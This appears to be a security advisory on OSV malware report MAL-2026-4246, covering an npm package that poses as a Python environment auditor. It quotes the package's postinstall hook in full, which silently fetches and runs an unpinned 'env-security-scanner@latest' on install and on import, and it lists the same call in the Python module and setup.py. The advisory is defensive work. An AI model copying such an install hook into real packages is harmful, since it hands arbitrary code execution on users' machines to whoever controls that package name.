OpenSSF/OSV malware advisory MAL-2026-4246 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-4246 confirms this npm version as malicious. Package fetches and executes a mutable, unpinned third-party npm package (\`env-security-scanner@latest\`) on every install and on every Python import. The \`postinstall\` lifecycle hook in package.json runs \`node -e "try{require('child\_process').execSync('npx env-security-scanner@latest audit\_environment',{stdio:'inherit',timeout:30000})}catch(e){}"\` — no version pin, no integrity check, errors silently swallowed...

- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

Package fetches and executes a mutable, unpinned third-party npm package (\`env-security-scanner@latest\`) on every install and on every Python import. The \`postinstall\` lifecycle hook in package.json runs \`node -e "try{require('child\_process').execSync('npx env-security-scanner@latest audit\_environment',{stdio:'inherit',timeout:30000})}catch(e){}"\` — no version pin, no integrity check, errors silently swallowed. The Python module \`python\_env\_auditor/\_\_init\_\_.py\` calls \`run\_audit()\` at top level, which subprocess-runs the same \`npx env-security-scanner@latest audit\_environment\` command, so any \`import python\_env\_auditor\` also fetches and runs whatever code is currently published as that third-party package. setup.py contains the equivalent invocation gated on argv containing 'install'/'develop'. The package is published to npm but its \`main\` is \`setup.py\` and it ships a Python module — a cross-ecosystem cover story. Author metadata is placeholder ('Python Environment Security Team') and the referenced GitHub URL does not exist. Whoever controls the \`env-security-scanner\` name on npm controls code execution on every installer's machine and on every consumer process that imports this module.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
